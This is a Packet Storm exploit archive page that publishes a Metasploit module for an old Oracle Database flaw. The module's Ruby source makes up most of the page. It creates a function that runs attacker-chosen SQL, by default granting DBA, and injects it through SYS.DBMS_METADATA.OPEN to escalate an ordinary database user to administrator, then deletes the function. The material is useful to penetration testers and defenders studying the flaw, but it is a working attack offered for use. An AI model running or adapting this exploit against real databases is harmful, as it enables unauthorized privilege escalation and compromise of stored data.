exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle DB SQL Injection Via SYS.DBMS_METADATA.OPEN

Oracle DB SQL Injection Via SYS.DBMS_METADATA.OPEN
Posted Aug 31, 2024
Authored by Jay Turla | Site metasploit.com

This Metasploit module will escalate a Oracle DB user to DBA by exploiting an sql injection bug in the SYS.DBMS_METADATA.OPEN package/function.

tags | exploit, sql injection
SHA-256 | f6664ac501c9f358d8d4a9410aab3c277a77640982c29a4ac936ead1bc75e8b3

Oracle DB SQL Injection Via SYS.DBMS_METADATA.OPEN

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::ORACLE

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_METADATA.OPEN',
'Description' => %q{
This module will escalate a Oracle DB user to DBA by exploiting an sql injection
bug in the SYS.DBMS_METADATA.OPEN package/function.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.metasploit.com' ],
],
'DisclosureDate' => '2008-01-05'))

register_options(
[
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]),
])
end

def run
return if not check_dependencies

name = Rex::Text.rand_text_alpha(rand(10) + 1)

function = "
create or replace function #{datastore['DBUSER']}.#{name} return varchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate '#{datastore['SQL']}';
return '';
end;
"

package = "select sys.dbms_metadata.open('''||#{datastore['DBUSER']}.#{name}()||''') from dual"

clean = "drop function #{name}"


print_status("Sending function...")
prepare_exec(function)

begin
print_status("Attempting sql injection on SYS.DBMS_METADATA.OPEN...")
prepare_exec(package)
rescue ::OCIError => e
if ( e.to_s =~ /ORA-24374: define not done before fetch or execute and fetch/ )
print_status("Removing function '#{name}'...")
prepare_exec(clean)
else
end
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close